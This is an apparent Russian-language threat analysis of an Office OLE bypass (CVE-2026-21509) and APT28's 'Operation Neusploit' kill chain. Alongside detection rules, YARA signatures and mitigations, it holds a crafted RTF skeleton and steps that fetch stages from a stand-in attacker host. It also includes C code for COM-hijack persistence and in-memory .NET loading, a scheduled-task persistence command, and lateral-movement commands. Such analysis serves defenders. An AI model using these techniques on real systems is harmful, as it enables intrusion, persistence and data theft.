CVE-2026-21509: APT28 — от фишинга до SYSTEM за 48 часов

Posted on 29 марта, 2026 by AkaTor

Категория: Red Team / Blue Team / Purple Team
Уровень: Advanced → Expert
Автор: Aka Tor
CVE: CVE-2026-21509
CVSS: 7.8 (High)
APT: APT28 / Fancy Bear / Forest Blizzard
Операция: Operation Neusploit

Введение

26 января 2026 Microsoft раскрыл CVE-2026-21509 — уязвимость обхода OLE security restrictions в Microsoft Office. **Через 24 часа** APT28 (российская военная разведка, ГРУ) уже использовала её в атаках на Украину, Польшу, Грецию, Турцию и ОАЭ.

Кампания получила название **Operation Neusploit**. Особенности:

- **Fileless** — .NET assemblies загружаются прямо в память, нет файлов на диске
- **Injection в svchost.exe** — persistence через легитимный процесс
- **COM Hijacking** — подмена CLSID в реестре для автозагрузки
- **Cloud C2** — управление через filen.io (легитимное облако)
- **Два бэкдора** — NotDoor (Outlook VBA) и модифицированный Covenant

---

1. Уязвимость: CVE-2026-21509

1.1 Суть бага

```
Тип:     CWE-807 (Reliance on Untrusted Inputs in Security Decision)
```

```
Вектор:  RTF документ с OLE объектом
Триггер: Открытие документа (no macros, no user interaction)
CVSS:    7.8 (High) — Local, Low Complexity, Low Privs, No UI

Проблема:
  Microsoft Office неправильно валидирует OLE объекты при парсинге
RTF.
  Специально сформированный OLE object (Shell.Explorer ActiveX
control)
  обходит security restrictions и получает execution.

  Нормально: Office блокирует Shell.Explorer.1 COM object (dangerous)
  Баг: RTF с определённой структурой обходит проверку
  → Shell.Explorer загружается → выполняет произвольный URL/файл
```

1.2 Exploit Flow

```
1. Жертва открывает RTF файл (attachment из phishing email)
2. Office парсит RTF → находит OLE object
3. OLE object = Shell.Explorer.1 (ActiveX browser control)
4. Баг: Office НЕ блокирует этот control (обход валидации)
5. Shell.Explorer загружает URL: http://attacker/payload.html
6. payload.html содержит JavaScript → скачивает dropper DLL
7. DLL выполняется в контексте Office процесса
8. → Полный compromise без макросов и предупреждений!
```

1.3 Crafted RTF structure

```
{\rtf1\ansi
{\object\objocx
{\*\objclass Shell.Explorer.1}     ← ActiveX browser control
\objw8307\objh553
{\*\objdata
  ... OLE stream с Shell.Explorer ...
  ... навигация на http://attacker/stage2 ...
}
}
}
```

```
Ключ: \objclass Shell.Explorer.1
Нормально: Office блокирует этот class (security check)
CVE-2026-21509: специальная структура RTF обходит check
→ Shell.Explorer создаётся и выполняет navigation
```

---

2. Kill Chain — Operation Neusploit

2.1 Этап 1: Initial Access — Spear Phishing

```
From: ministry-defense@gov-ua.org (spoofed)
To: target@military.gov.pl
Subject: "Оновлена інформація щодо безпекової ситуації" (укр.)

Attachment: security_update_feb2026.rtf

Тематика писем:
  - Военные брифинги NATO
  - Санкции против России
  - Морские транспортные маршруты
  - Обновления безопасности Microsoft (ирония)

Цели: Украина, Польша, Словакия, Румыния, Греция, Турция, ОАЭ
Сектора: военные, правительственные, морские, транспортные
```

2.2 Этап 2: Execution — RTF → Dropper DLL

```
// Dropper DLL скачивается через Shell.Explorer WebDAV
// Два варианта наблюдались CrowdStrike/Trellix:

// Вариант A: EhStoreShell.dll (COM hijack + shellcode в PNG)
// 1. Создаёт C:\Users\{user}\AppData\Local\EhStoreShell.dll
// 2. Создаёт C:\Users\{user}\AppData\Local\SplashScreen.png
(shellcode)
// 3. Модифицирует реестр: COM hijack через CLSID

// Вариант B: MiniDoor (Outlook VBA backdoor)
```

```
// 1. Инжектит VBA проект в Outlook
// 2. Крадёт emails, пересылает атакующему
// 3. Принимает команды через email

// Обе варианты: нет файлов на диске после начальной стадии
// Всё работает in-memory через .NET assembly loading
```

2.3 Этап 3: Persistence — COM Hijacking + Scheduled Task

```
// COM Hijacking: подмена CLSID в HKCU
// При каждом запуске explorer.exe → загружается наша DLL

// Шаг 1: Регистрируем нашу DLL как COM object
// HKCU\Software\Classes\CLSID\{CLSID}\InProcServer32
// Default = C:\Users\{user}\AppData\Local\EhStoreShell.dll

// Шаг 2: Scheduled Task "OneDriveHealth"
// Действие: taskkill /F /IM explorer.exe && explorer.exe
// При перезапуске explorer.exe → COM hijack → наша DLL загружается

// Пример реестра:
// [HKCU\Software\Classes\CLSID\{B7D7...}\InProcServer32]
// @="C:\Users\victim\AppData\Local\EhStoreShell.dll"
// ThreadingModel="Both"

void SetupCOMHijack(const char* clsid, const char* dllPath) {
    char keyPath[512];
    sprintf_s(keyPath, sizeof(keyPath),
        "Software\\Classes\\CLSID\\%s\\InProcServer32", clsid);

    HKEY hKey;
    RegCreateKeyExA(HKEY_CURRENT_USER, keyPath, 0, NULL,
        0, KEY_SET_VALUE, NULL, &hKey, NULL);
    RegSetValueExA(hKey, NULL, 0, REG_SZ,
        (BYTE*)dllPath, (DWORD)strlen(dllPath) + 1);
    RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ,
        (BYTE*)"Both", 5);
    RegCloseKey(hKey);
```

```
}

// Scheduled Task для рестарта explorer:
// schtasks /create /tn "OneDriveHealth" /tr
//   "cmd /c taskkill /F /IM explorer.exe && explorer.exe"
//   /sc ONLOGON /ru %USERNAME%
```

2.4 Этап 4: Fileless Execution — .NET Assembly в памяти

```
// Shellcode из SplashScreen.png → bootstrap .NET runtime
// Без файлов на диске — только memory

// Шаг 1: Shellcode из PNG
// EhStoreShell.dll читает SplashScreen.png
// Декодирует shellcode из LSB пикселей или после EOF marker

// Шаг 2: Shellcode bootstrap
// Использует PEB traversal для resolve API:
//   MSCOREE.DLL → CLRCreateInstance()
//   → ICLRMetaHost → GetRuntime("v4.0.30319")
//   → ICLRRuntimeHost → Start()
//   → ICLRRuntimeHost → ExecuteInDefaultAppDomain()

// Шаг 3: .NET Assembly загружается в память
// Assembly.Load(byte[]) — из памяти, не с диска!
// Никаких файлов — только memory resident code

// Pseudo-code:
void FilelessDotNetLoad(PBYTE assemblyBytes, DWORD assemblySize) {
    // 1. Загружаем CLR runtime
    ICLRMetaHost* pMetaHost;
    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost,
&pMetaHost);

    ICLRRuntimeInfo* pRuntime;
    pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo,
&pRuntime);
```

```
    ICLRRuntimeHost* pHost;
    pRuntime->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost,
&pHost);
    pHost->Start();

    // 2. Загружаем .NET assembly из памяти
    // Используем ICorRuntimeHost для AppDomain access
    ICorRuntimeHost* pCorHost;
    pRuntime->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost,
&pCorHost);
    pCorHost->Start();

    IUnknown* pAppDomainUnk;
    pCorHost->GetDefaultDomain(&pAppDomainUnk);

    // _AppDomain→Load(byte[]) — загрузка assembly из памяти
    // Никаких файлов на диске!

    // 3. Вызываем метод из загруженной assembly
    // Assembly содержит Covenant/CovenantGrunt implant
}
```

2.5 Этап 5: Process Injection в svchost.exe

```
// После загрузки .NET assembly → injection в svchost.exe
// svchost.exe — системный процесс, не вызывает подозрений

// Техника: Process Hollowing или .NET Assembly injection

// Вариант A: CreateRemoteThread + .NET CLR в svchost
// 1. OpenProcess(svchost.exe)
// 2. VirtualAllocEx → выделяем память
// 3. WriteProcessMemory → пишем CLR bootstrap shellcode
// 4. CreateRemoteThread → запускаем shellcode
// 5. Shellcode загружает CLR → загружает .NET implant в память

// Вариант B: Через Named Pipe + Impersonation
// svchost.exe (SYSTEM) подключается к pipe → impersonate → SYSTEM
```

```
token

// Результат:
// svchost.exe (SYSTEM) выполняет Covenant implant
// В памяти — .NET assembly
// На диске — ничего
// Forensics видит только легитимный svchost.exe
```

2.6 Этап 6: Command & Control — Cloud C2

```
C2 Infrastructure: filen.io (легитимное облачное хранилище)

Flow:
1. Implant создаёт аккаунт на filen.io
2. Генерирует RSA ключевую пару
3. Загружает public key в свою папку на filen.io
4. C2 оператор:
   a) Обнаруживает нового victim по public key
   b) Генерирует AES-256 session key
   c) Шифрует session key RSA public key жертвы
   d) Загружает зашифрованный session key в папку жертвы
5. Implant скачивает и расшифровывает session key
6. Дальнейшая коммуникация: AES-256 encrypted через filen.io

Преимущества:
  - Трафик к filen.io — легитимный HTTPS
  - Нет прямого соединения с C2 сервером
  - DPI/Firewall/Proxy не видят C2 трафик
  - Можно подменить на любое облако (OneDrive, Google Drive)
```

2.7 Этап 7: Post-Exploitation — Reconnaissance + Lateral Movement

```
Наблюдённые команды APT28 после получения доступа:

Reconnaissance:
  arp.exe -a                          — ARP таблица (сетевые соседи)
  systeminfo.exe                      — версия ОС, патчи, hardware
  tracert.exe target.corp.local       — маршрут до цели
  whoami /all                         — текущий юзер, группы,
```

```
привилегии
  net user /domain                    — юзеры домена
  net group "Domain Admins" /domain   — domain admins

Credential Harvesting:
  Дамп через .NET reflection (in-memory Mimikatz)
  NTLM хэши из LSASS (без файла на диске)

Lateral Movement:
  WMI → wmic /node:TARGET process call create "..."
  PsExec → через SMB + named pipe
  RDP → с украденными credentials
```

---

3. Бэкдоры: NotDoor и Covenant

3.1 NotDoor — Outlook VBA Backdoor

```
NotDoor: бэкдор через Microsoft Outlook VBA

Установка:
  1. Dropper создаёт VBA проект в Outlook
  2. VBA код выполняется при каждом запуске Outlook
  3. Мониторит входящие emails с командами

Функционал:
  - Кража всех emails → пересылка на email атакующего
  - Приём команд через специально форматированные emails
  - Выполнение команд на хосте через Shell.Run
  - Скриншоты
  - Скачивание файлов

Преимущества:
  - Persistence через Outlook (запускается при каждом логоне)
  - C2 через email — не нужен прямой сетевой доступ
  - Обходит network monitoring (email = легитимный трафик)
  - Нет отдельного процесса — работает внутри Outlook
```

3.2 Covenant / CovenantGrunt — .NET Implant

```
// Covenant: open-source .NET C2 framework
// APT28 модифицировали Covenant для своих нужд

// Модификации:
// 1. Cloud C2 вместо HTTP listener (filen.io)
// 2. AES-256 + RSA шифрование коммуникации
// 3. Fileless loading через CLR в памяти
// 4. Anti-forensics: зачистка event logs
// 5. Обфускация .NET assembly (ConfuserEx/dnlib)

// CovenantGrunt capabilities:
// - Произвольное выполнение команд
// - Upload/download файлов
// - Process injection
// - Token manipulation
// - Kerberos ticket operations (через Rubeus)
// - Credential dumping (in-memory)
// - Lateral movement (WMI, PsExec, DCOM)
// - Keylogging
// - Screenshot capture
```

---

4. Indicators of Compromise (IOC)

```
Files:
  EhStoreShell.dll        — COM hijack loader
  SplashScreen.png        — shellcode container (steganography)
  MiniDoor VBA project    — Outlook backdoor

Registry:
  HKCU\Software\Classes\CLSID\{suspicious}\InProcServer32
  → Value pointing to non-system DLL

Scheduled Tasks:
  "OneDriveHealth" — kills and restarts explorer.exe
```

```
Network:
  filen.io connections from non-browser processes
  WebDAV connections to suspicious URLs
  RTF documents downloading DLLs

Process Behavior:
  svchost.exe → loading .NET CLR (clrjit.dll, mscorlib.dll)
  explorer.exe → loading non-standard DLLs after restart
  WINWORD.EXE → spawning child processes
  WINWORD.EXE → network connections to external URLs

Email:
  Subjects: military/government themed in target language
  Senders: spoofed government domains
  Attachments: .rtf files exploiting CVE-2026-21509
```

---

5. Детект и защита

5.1 Sysmon Rules

```
Event ID 1 (Process Create):
  ParentImage: *\WINWORD.EXE
  Image: *\cmd.exe OR *\powershell.exe OR *\rundll32.exe
  → Office spawning suspicious child = CVE exploit!

Event ID 7 (Image Loaded):
  Image: *\svchost.exe
  ImageLoaded: *\clrjit.dll OR *\mscorlib.dll
  → svchost loading .NET CLR = possible fileless injection

Event ID 11 (File Create):
  TargetFilename: *\EhStoreShell.dll OR *\SplashScreen.png
  → Known APT28 artifacts

Event ID 13 (Registry Value Set):
  TargetObject: HKCU\Software\Classes\CLSID\*\InProcServer32\*
```

```
  → COM Hijacking for persistence

Event ID 3 (Network Connection):
  Image: *\WINWORD.EXE
  DestinationPort: 80 OR 443
  → Office making external connections (suspicious)
```

5.2 YARA Rule

```
rule APT28_Neusploit_RTF {
    meta:
        description = "Detects CVE-2026-21509 exploit RTF"
        author = "Aka Tor"
        date = "2026-03"
        reference = "Operation Neusploit"

    strings:
        $rtf = "{\\rtf1" ascii
        $ole1 = "\\objocx" ascii
        $ole2 = "Shell.Explorer" ascii wide nocase
        $ole3 = "\\objclass" ascii
        $webdav = "http" ascii nocase

    condition:
        $rtf at 0 and $ole3 and ($ole1 or $ole2) and $webdav
}

rule APT28_EhStoreShell {
    meta:
        description = "Detects APT28 EhStoreShell COM hijack DLL"

    strings:
        $s1 = "EhStoreShell" ascii wide
        $s2 = "SplashScreen.png" ascii wide
        $s3 = "CLRCreateInstance" ascii
        $s4 = "OneDriveHealth" ascii wide

    condition:
```

```
        uint16(0) == 0x5A4D and 2 of them
}
```

5.3 Mitigation

- **Patch**: установить обновление для CVE-2026-21509 (January 2026 Patch Tuesday)
- **Block RTF**: GPO → заблокировать открытие RTF в Office (File Block Settings)
- **ASR Rules**: «Block Office applications from creating child processes»
- **AMSI**: включён — детектит .NET assembly loading
- **Sysmon**: правила на Office child processes, COM hijacking, CLR loading в svchost
- **Email filtering**: блокировать RTF attachments на периметре
- **Cloud access**: мониторинг filen.io доступа от не-браузерных процессов

---

6. MITRE ATT&CK Mapping

Этап	Technique	ID
Initial Access	Spearphishing Attachment	T1566.001
Execution	Exploitation for Client Execution	T1203
Execution	Dynamic Data Exchange (OLE)	T1559.002
Persistence	COM Hijacking	T1546.015
Persistence	Scheduled Task	T1053.005
Persistence	Office Application Startup (VBA)	T1137
Defense Evasion	Process Injection	T1055
Defense Evasion	Fileless: .NET Assembly	T1620
Defense Evasion	Masquerading (svchost)	T1036.005
Defense Evasion	Steganography (PNG)	T1027.003
Credential Access	OS Credential Dumping	T1003
Discovery	System Information Discovery	T1082
Lateral Movement	WMI / PsExec / RDP	T1021
C2	Web Service (Cloud Storage)	T1102
C2	Encrypted Channel (AES-256)	T1573.001
Exfiltration	Email Collection	T1114

---

7. Рекомендации

Для Red Team

- COM Hijacking + Scheduled Task = надёжная persistence без admin прав
- Cloud C2 (filen.io, OneDrive) обходит network monitoring
- Fileless .NET через CLRCreateInstance — основной evasion метод 2026
- Steganography в PNG для хранения shellcode — обходит file scanning
- Outlook VBA backdoor — C2 через email, невидим для network security

Для Blue Team

- **ASR Rule «Block Office child processes»** — закрывает Initial Access
- **Block RTF на email gateway** — убивает весь вектор
- **Sysmon: CLR loading в svchost.exe** — ключевой детект fileless
- **COM hijacking мониторинг** — Event ID 13 на HKCU\...\CLSID
- **Scheduled Task audit** — «OneDriveHealth» и подобные
- **Cloud storage audit** — filen.io от non-browser процессов

Для Purple Team

- Воспроизведите kill chain: RTF → dropper → COM hijack → CLR injection
- Проверьте: детектит ли ваш EDR CLR loading в svchost.exe?
- Проверьте: блокирует ли email gateway RTF attachments?
- Проверьте: ASR rules включены для Office applications?

Заключение

CVE-2026-21509 + Operation Neusploit — это учебник по modern APT кампании. Каждый этап оптимизирован для evasion: RTF без макросов (обход sandbox), COM hijacking (обход autorun monitoring), fileless .NET (обход AV), cloud C2 (обход network monitoring), steganography (обход file scanning).

Главный урок: **defense-in-depth**. Один контроль не остановит APT28. Нужны ВСЕ слои: email filtering + ASR rules + Sysmon + EDR + network monitoring + cloud access audit.

Пропустите один — и kill chain завершится за 24 часа.

Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.